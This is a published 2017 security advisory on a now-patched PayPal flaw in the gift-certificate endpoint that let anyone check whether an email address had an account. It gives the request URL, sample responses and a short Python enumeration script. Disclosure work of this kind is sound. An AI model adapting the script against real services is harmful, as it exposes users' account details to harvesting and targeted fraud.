Document Title:
===============
PayPal Inc BB #149 - (Gift) Insufficient Authentication Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1973

ID EIBBP-34368


Release Date:
=============
2017-06-21


Vulnerability Laboratory ID (VL-ID):
====================================
1973


Common Vulnerability Scoring System:
====================================
4.2


Vulnerability Class:
====================
Insufficient Session Validation


Current Estimated Price:
========================
1.000a! - 2.000a!


Product & Service Introduction:
===============================
PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally,
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request
a transfer to their bank account.

PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.

On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United
States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale,
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across
Europe, PayPal also operates as a Luxembourg-based bank.

On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.
Between December 4A+-9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation
for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables.

(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]


Abstract Advisory Information:
==============================
The vulnerability laboratory research team discovered multiple vulnerabilities in the official PayPal Inc Marketing online service web-application.


Vulnerability Disclosure Timeline:
==================================
2016-09-16: Researcher Notification & Coordination (Mohammad Chamli)
2016-09-19: Vendor Notification (PayPal Inc Bug Bounty Program - Security Team)
2016-10-03: Vendor Response/Feedback (PayPal Inc Bug Bounty Program - Security Team)
2016-11-07: Vendor Fix/Patch (PayPal Inc Developer Team)
2017-01-20: Acknowledgements & Bug Bounty (PayPal Inc Bug Bounty Program - Security Team)
2017-06-21: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
PayPal Inc
Product: Marketing - Online Service (Web-Application) 2016 Q4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An insufficient authentication issue has been discovered in the official PayPal Inc Marketing online service web-application.

The vulnerability can be used by remote attackers to enumerate email addresses of the paypal users in the web-application. 
The issue allows as well to get more details about teams associated with that email addresses. The request method to exploit 
is GET and the attack vector is located on the client-side of the paypal marketing online service web-application. The issue 
is located in the authentication process of the gift method via the send money by email.

The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.2. 
Exploitation of the insufficient authentication web vulnerability requires a low privileged web-application user account and 
no user interaction. Successful exploitation of the vulnerability results disclosure of sensitive information.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] _oe-gift-certificate

Affected Module(s):
[+] send money by email


Proof of Concept (PoC):
=======================
The security issue can be exploited by remote attackers without privileged user acount and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Location: The bug is located in the gift method certificate to send money using the an email address!

Example: (URL - Request) 
https://www.paypal.com/cgi-bin/webscr?cmd=_oe-gift-certificate&business=attacker12344@gmail.com&no_shipping=0&no_note=1&currency_code=GBP&bn=PP-GiftCertBF&charset=UTF-8&shopping_url=test&min_denom=5.00&max_denom=500.00&style_color=BLU

Example: (URL - Response)  
"You cannot purchase a Gift Certificate from an unregistered PayPal user."
Note: That means no user exists with the email address "attacker12344@gmail.com"
... and when the email address is valid it will open the request form to us 


PoC: Automated Exploitcode
import urllib
x = raw_input('Put email to check : ')
link = "https://www.paypal.com/cgi-bin/webscr?cmd=_oe-gift-certificate&business="+x+
"&no_shipping=0&no_note=1&currency_code=GBP&bn=PP-GiftCertBF&charset=UTF-8
&shopping_url=test&min_denom=5.00&max_denom=500.00&style_color=BLU"
if urllib.urlopen(link).getcode() == 200:
  site = urllib.urlopen(link).read()
  if "You cannot purchase a Gift Certificate from an unregistered PayPal user" in site:
    print "email not exist"
  elif "This recipient is currently unable to receive money" in site:
    print "email exist but not active"
  else : 
    print "email exist "
else :
  print "erreur"


Solution - Fix & Patch:
=======================
The vulnerability can be patched by approval of the authentication in the marketing application to disallow automated requests to enumerate user account credentials.


Security Risk:
==============
The security risk of the insufficient authentication vulnerability in the paypal market web-application is estimated as medium. (CVSS 4.2)


Credits & Authors:
==================
Chamli [mohamed.chamli@esprit.tn] - https://www.vulnerability-lab.com/show.php?user=Chamli


Disclaimer & Information:
=========================
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